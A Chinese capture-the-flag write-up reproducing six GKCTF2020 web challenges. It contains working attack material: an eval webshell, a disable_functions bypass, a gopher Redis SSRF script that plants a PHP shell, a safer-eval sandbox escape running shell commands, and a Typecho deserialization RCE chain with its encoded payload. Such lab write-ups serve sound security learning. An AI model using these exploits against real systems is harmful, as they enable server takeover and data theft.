记 GKCTF2020 WEB

比赛的时候一道题也没做出来,现在看着大佬的wp做一波复现。

 

1.CheckIn

很明显的一道代码审计题。通过传入base64编码的Ginkgo参数即可执行eval函数。

用蚁剑连接

    构造Ginkgo=QGV2YWwoJF9QT1NUWzFdKTs%3d (@eval($_POST[1]); 的base64编码)

发现根目录下存在 flag但是无法打开(权限不足)

同时发现了readflag文件,打开发现是一个程序,包含了cat  /flag之类的内容猜测是通过执行该文件来进行读flag。

读phpinfo(); 发现相关的执行函数都被禁用。

  注:1.可构造Ginkgo=cGhwaW5mbygpOw== 读取phpinfo()

         2. 之前做题的没想到蚁剑,可以用 print_r(file_get_contents('../../../../readflag'));读取文件。print_r(scandir('../../../../')); 获取根目录列表。(需要再base64编码)

为了绕过disabled_function,我们可以上传一个绕过脚本。

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

其中pwn(‘’)里面的参数为需要执行的命令。

这里我们构造pwn('/readflag');即可。通过蚁剑上传至/tmp目录下。

接下来在页面上包含该脚本即可。构造:

获取flag

 

2.CVE签到

hint:cve-2020-7066

百度可以查到:

大意就是url中如果包含了0字符串(%00)就会发生字符串截断。

点击链接获得提示:http://17c1bc68-e344-4e63-bd36-458bb1d9f7c8.node3.buuoj.cn/?url=http://www.ctfhub.com

参数为url,抓包看看

构造url=http://127.0.0.1,有新提示

构造url=http://127.0.0.123 ,无flag回显,结果题目要求的You just view *.ctfhub.com和该题的提示cve

构造url=http://127.0.0.123%00*.ctfhub.com

成功获取flag

 

3.老八小超市儿

打开发现是个ShowXo的商城模板,百度到

后台目录:/admin.php
账号: admin
密码: shopxo

该系统可以上传shell,参考链接:http://www.nctry.com/1660.html

注:文章的php地址写错了,应该为/public/static/index/default/try.php

蚁剑连接,发现根目录下的flag是假的

发现flag.hint 可能有提示。

提示Root目录且和时间相关。

根目录下还有一个/auto.sh打开查看,是一个自动化的脚本,60s一个循环。

查看对应的脚本文件。

修改脚本代码

import os
import io
import time
f=io.open("/root/flag", "rb+")
t=f.read()
f.close()
f=io.open("/flag.hint", "rb+")
f.write(str(t))
f.close()

等待一小段时间,打开flag.hint,获取flag

flag{6d681393-07de-4db7-bf35-5a0a55e224d3}

 

4.EZ三剑客-EzWeb

buuctf 这题环境有点问题,以后有时间再做

虽然有问题,还是勉强做一下

 

分析:进入题目,只有一个输入框,尝试输出内容,但都没有回显,查看源码,发现居然有提示!

访问该页面,发现ifconfig的内容。

尝试访问了一下这个内网ip 173.100.33.10 ,发现回显了本页面,因此猜测可能是内网中有内容。

bp抓包爆破一下整个c段,发现11段有回显。

继续爆破端口。(范围1-65535)

发现6379端口存在回显。

经过搜索,6379是redis的端口,可能Redis SSRF getshell。

注:

  1. SSRF 参考链接:https://xz.aliyun.com/t/2115
  2. 漏洞利用详解:https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

利用代码,这里我稍微修改了一下,改成了python3的

import urllib
protocol="gopher://"
ip="173.97.195.11"
port="6379"
shell="\n\n<?php system('cat /flag');?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.parse.quote(redis_format(x))
	print(payload)

payload:

gopher://173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

 😓辣鸡题目又抽风没回显了,这里先就复现到这里题目代码应该没问题。

后续:才发现这题目每一次生成c段ip会变,之前没注意,我人傻了,难怪没回显。大家复现的时候注意ip变化。

成功拿到flag

 

5.EZ三剑客-EzNode

点开进去,发现了源码,

很明显,这玩意不太对劲,页面另一个版本按钮里面显示,这个的版本是1.3.6

经过百度,该版本下的safe-eval存在沙箱逃逸。

参考:https://github.com/commenthol/safer-eval/issues/10

payload:

(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

 

不过在此之前有个问题,这里的delay参数有限制不能超过1000

此处可以利用int溢出的方法来进行绕过,利用科学计数法,构造delay=99999999999e999

注:就是我们传入的delay如果大小超过32位,会被settimeout设为1.这样就满足条件了。

因此抓包构造(此处的参数e是题目给出的e)

成功拿到flag

flag{8d217711-960f-435e-8b57-37070b6833f7}

 

6.EZ三剑客-EzTypecho

一进来发现是个typecho的安装系统,尝试安装但是提示不让安装,因此大胆猜测一下是不是这个本身就存在漏洞。

百度一下果然发现了,typecho在install.php存在反序列化漏洞。通过在cookie或者post数据中传入__typecho_config参数即实现命令执行。
 

参考链接https://www.freebuf.com/vuls/155753.html

__typecho_config参数生成poc:

<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';

        private $_type;
        private $_items;

        public function __construct() {
                //$this->_type = $this::RSS2;

                $this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}

class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = $GLOBALS[CMD];
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

payload:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCJjYXQgL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oImNhdCAvZmxhZyIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

这道题存在2种解题方法:

1.start注入点

     要满足2个条件即可:

  1. $_GET['start'] 参数不为空
  2. Referer 必须是本站

抓包构造

成功获取flag

2.finish注入点

要满足2个条件即可:

  1. $_GET['finish'] 参数不为空
  2. Referer 必须是本站

尝试执行,抓包构造如下包:

发现报错

因此是后台代码过滤了session的生成函数,看来我们还需要一个传入一个session

参考链接:https://www.jianshu.com/p/82a8b04da7b8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值